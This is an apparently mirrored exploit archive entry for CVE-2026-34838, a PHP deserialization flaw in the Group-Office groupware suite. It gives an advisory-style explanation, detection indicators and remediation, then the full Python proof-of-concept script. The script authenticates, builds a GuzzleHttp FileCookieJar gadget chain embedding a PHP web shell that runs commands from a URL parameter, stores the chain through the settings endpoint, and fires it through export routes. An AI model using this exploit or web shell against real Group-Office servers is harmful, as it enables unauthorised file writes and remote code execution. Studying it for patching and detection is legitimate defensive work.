PoC Archive PoC Archive
Critical CVE-2026-34838 (GHSA-h22j-frrf-5vxq) patched

Group-Office PHP Deserialization Remote Code Execution (CVE-2026-34838)

by bamuwe · 2026-07-05

Severity
Critical
CVE
CVE-2026-34838 (GHSA-h22j-frrf-5vxq)
Category
web
Affected product
Group-Office groupware suite
Affected versions
Group-Office <= 25.0.89
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researcherbamuwe
CVE / AdvisoryCVE-2026-34838 (GHSA-h22j-frrf-5vxq)
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagsphp, deserialization, rce, groupware, gadget-chain, authenticated, group-office, guzzlehttp
RelatedN/A

Affected Target

FieldValue
Software / SystemGroup-Office groupware suite
Versions AffectedGroup-Office <= 25.0.89
Language / PlatformPython 3 (PoC), target is a PHP web application
Authentication RequiredYes (valid username/password)
Network Access RequiredYes

Summary

CVE-2026-34838 is a PHP object deserialization vulnerability in Group-Office. The AbstractSettingsCollection::_loadData() method calls unserialize() on a stored setting value prefixed with serialized:, without validating the object type. By storing a crafted GuzzleHttp\Cookie\FileCookieJar object as one of the export-related settings (e.g. export_include_headers) and then triggering an export action, the attacker causes the gadget’s __destruct() method to write attacker-controlled content — including a PHP web shell — to an arbitrary file path via file_put_contents(). The included PoC authenticates, stores the crafted gadget chain via the settings-save endpoint, and triggers one of several export routes to fire the deserialization and file write, demonstrating arbitrary file write and disclosing the path toward RCE.


Vulnerability Details

Root Cause

AbstractSettingsCollection::_loadData() (in go/base/model/AbstractSettingsCollection.php) unserializes a stored setting value without restricting allowed classes, enabling a PHP POP (property-oriented programming) gadget chain via GuzzleHttp\Cookie\FileCookieJar::__destruct() -> save() -> file_put_contents().

Attack Vector

  1. Authenticate to Group-Office and obtain a valid session plus CSRF security_token.
  2. Store a serialized GuzzleHttp\Cookie\FileCookieJar gadget-chain payload (embedding a PHP web shell as the cookie value and an attacker-chosen file path) as the export_include_headers setting via core/saveSetting.
  3. Trigger one of several export-capable routes (e.g. files/file/export, email/account/export) that loads GO\Base\Export\Settings, causing _loadData() to unserialize() the stored payload.
  4. When the resulting FileCookieJar object is garbage-collected, its __destruct() writes the embedded PHP code to the attacker-specified path, yielding arbitrary file write and a path to remote code execution.

Impact

Authenticated attacker-controlled arbitrary file write, leading to remote code execution as the web server user in environments where the write path is web-accessible or otherwise executable.


Environment / Lab Setup

Target:   Group-Office <= 25.0.89 web application
Attacker: Python 3, `requests` library, valid Group-Office credentials

Proof of Concept

PoC Script

See poc.py in this folder.

1
python3 poc.py

Edit the TARGET, USERNAME, and PASSWORD constants at the top of the script. It logs in, builds the serialized FileCookieJar gadget chain embedding a PHP web-shell snippet, stores it via core/saveSetting, and then triggers one of several export routes to fire the deserialization and confirm the file write.


Detection & Indicators of Compromise

Signs of compromise:

  • Setting values containing the serialized: prefix with GuzzleHttp\Cookie\* class names
  • Unexpected PHP files appearing in writable directories such as /tmp
  • Export-route requests immediately following anomalous saveSetting calls from the same session

Remediation

ActionDetail
Primary fixUpdate to a Group-Office release beyond 25.0.89 that addresses GHSA-h22j-frrf-5vxq
Interim mitigationRestrict/validate settings values before unserialize() (allow-list classes or migrate to json_decode); restrict writable directories from being web-executable

References


Notes

Mirrored from https://github.com/bamuwe/CVE-2026-34838 on 2026-07-05.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#!/usr/bin/env python3
"""
Group-Office RCE via PHP Deserialization (GHSA-h22j-frrf-5vxq)
Affected: <= 25.0.89

Chain:
  AbstractSettingsCollection._loadData() [go/base/model/AbstractSettingsCollection.php L88]
    unserialize("serialized:" + payload)
  -> GuzzleHttp.Cookie.FileCookieJar.__destruct()
  -> save($this->filename)
  -> file_put_contents(shell_path, json([{Value: "<?php system($_GET[0]); ?>"}]))
  -> PHP ignores JSON wrapper, executes <?php ?> block  -> RCE

Setting key trigger:
  GO.Base.Export.Settings [go/base/export/Settings.php] -- prefix=''
  Properties: export_include_headers / export_human_headers / export_include_hidden
  Loaded by AbstractModelController::actionExport() L693
  -> any route: <module>/<controller>/export
"""
import requests
import re
import sys

# ─── Config ───────────────────────────────────────────────────────────────────
TARGET   = "http://<target_ip>"
USERNAME = "<username>"
PASSWORD = "<password>"

# /tmp is writable by www-data and confirmed working
# Not web-accessible, but proves arbitrary file write (and RCE via chaining)
SHELL_PATH = "/tmp/shell.php"
SHELL_URL  = f"{TARGET}/shell.php"   # 404 expected; /tmp is not webroot
SHELL_CODE = "<?php system($_GET[0]); ?>"
CMD        = "id"
# ──────────────────────────────────────────────────────────────────────────────


# ─── PHP serializer helpers ───────────────────────────────────────────────────
def _s(val: bytes) -> bytes:
    return b's:' + str(len(val)).encode() + b':"' + val + b'";'

def _i(val: int) -> bytes:
    return b'i:' + str(val).encode() + b';'

def _b(val: bool) -> bytes:
    return b'b:' + (b'1' if val else b'0') + b';'

def _N() -> bytes:
    return b'N;'

def _priv(cls: str, prop: str) -> bytes:
    """PHP private property: \x00ClassName\x00propName"""
    return b'\x00' + cls.encode() + b'\x00' + prop.encode()


# ─── Gadget chain ─────────────────────────────────────────────────────────────
def build_gadget_chain(shell_path: str, shell_code: str) -> bytes:
    """
    GuzzleHttp.Cookie.FileCookieJar.__destruct()
      -> save($this->filename)
      -> file_put_contents($filename, json_encode([cookie.toArray()]))

    JSON output: [{"Name":"pwn","Value":"<?php system($_GET[0]); ?>","Domain":"localhost",...}]
    PHP only executes the <?php ?> block; surrounding JSON is ignored.

    shouldPersist() bypass: storeSessionCookies=true + Discard=false
    """
    CLS_SET    = r"GuzzleHttp\Cookie\SetCookie"       # len=27
    CLS_JAR    = r"GuzzleHttp\Cookie\FileCookieJar"   # len=31
    CLS_PARENT = r"GuzzleHttp\Cookie\CookieJar"       # len=27

    # SetCookie.$data (private, 9 keys)
    cookie_data = (
        b'a:9:{'
        + _s(b'Name')     + _s(b'pwn')
        + _s(b'Value')    + _s(shell_code.encode())
        + _s(b'Domain')   + _s(b'localhost')
        + _s(b'Path')     + _s(b'/')
        + _s(b'Max-Age')  + _N()
        + _s(b'Expires')  + _i(9999999999)
        + _s(b'Secure')   + _b(False)
        + _s(b'Discard')  + _b(False)
        + _s(b'HttpOnly') + _b(False)
        + b'}'
    )
    set_cookie_obj = (
        b'O:' + str(len(CLS_SET)).encode() + b':"' + CLS_SET.encode() + b'":1:{'
        + _s(_priv(CLS_SET, 'data')) + cookie_data
        + b'}'
    )

    # FileCookieJar: 4 props
    #   \x00GuzzleHttp\Cookie\CookieJar\x00cookies           (36 bytes)
    #   \x00GuzzleHttp\Cookie\CookieJar\x00strictMode        (39 bytes)
    #   \x00GuzzleHttp\Cookie\FileCookieJar\x00filename      (41 bytes)
    #   \x00GuzzleHttp\Cookie\FileCookieJar\x00storeSessionCookies (52 bytes)
    cookies_arr = b'a:1:{i:0;' + set_cookie_obj + b'}'
    return (
        b'O:' + str(len(CLS_JAR)).encode() + b':"' + CLS_JAR.encode() + b'":4:{'
        + _s(_priv(CLS_PARENT, 'cookies'))             + cookies_arr
        + _s(_priv(CLS_PARENT, 'strictMode'))          + _b(False)
        + _s(_priv(CLS_JAR,    'filename'))            + _s(shell_path.encode())
        + _s(_priv(CLS_JAR,    'storeSessionCookies')) + _b(True)
        + b'}'
    )


# ─── Auth ─────────────────────────────────────────────────────────────────────
def login(session: requests.Session) -> str:
    session.post(f"{TARGET}/index.php?r=auth/login",
                 data={"username": USERNAME, "password": PASSWORD},
                 allow_redirects=False)
    r = session.get(f"{TARGET}/index.php")
    m = re.search(r'security_token:"([^"]+)"', r.text)
    if not m:
        print("[-] Login failed / token not found")
        sys.exit(1)
    token = m.group(1)
    print(f"[+] Logged in. Token: {token}  Cookie: {dict(session.cookies)}")
    return token


# ─── Attack steps ─────────────────────────────────────────────────────────────
def step1_store(session: requests.Session, token: str, payload: bytes) -> None:
    """
    Store serialized FileCookieJar as value of 'export_include_headers'.
    Route: core/saveSetting  params: name=<key> value=<serialized> user_id=0
    """
    value = b"serialized:" + payload
    r = session.post(
        f"{TARGET}/index.php",
        params={"r": "core/saveSetting", "security_token": token},
        headers={"X-Requested-With": "XMLHttpRequest"},
        data={
            "name":           "export_include_headers",
            "value":          value.decode("latin-1"),
            "user_id":        "0",
            "security_token": token,
        },
    )
    print(f"  [store]   HTTP {r.status_code}: {r.text[:120]}")


def step2_trigger(session: requests.Session, token: str) -> None:
    """
    Trigger AbstractModelController::actionExport() L693
      -> GO.Base.Export.Settings::load() -> _loadData() -> unserialize()
      -> FileCookieJar created; on GC __destruct() fires -> file_put_contents
    """
    routes = [
        "files/file/export",
        "email/account/export",
        "reminders/reminder/export",
        "files/folder/export",
    ]
    for route in routes:
        r = session.get(
            f"{TARGET}/index.php",
            params={"r": route, "security_token": token},
            headers={"X-Requested-With": "XMLHttpRequest"},
        )
        print(f"  [trigger] {route}: HTTP {r.status_code}")
        if r.status_code == 200:
            break


# ─── Main ─────────────────────────────────────────────────────────────────────
def main():
    print("=" * 60)
    print("Group-Office Deserialization RCE — GHSA-h22j-frrf-5vxq")
    print("=" * 60)

    session = requests.Session()

    token   = login(session)
    payload = build_gadget_chain(SHELL_PATH, SHELL_CODE)
    print(f"\n[+] Gadget chain: {len(payload)} bytes")

    print("\n[1] Storing FileCookieJar payload -> export_include_headers")
    step1_store(session, token, payload)

    print("\n[2] Triggering GO\\Base\\Export\\Settings::load() -> unserialize()")
    step2_trigger(session, token)


if __name__ == "__main__":
    main()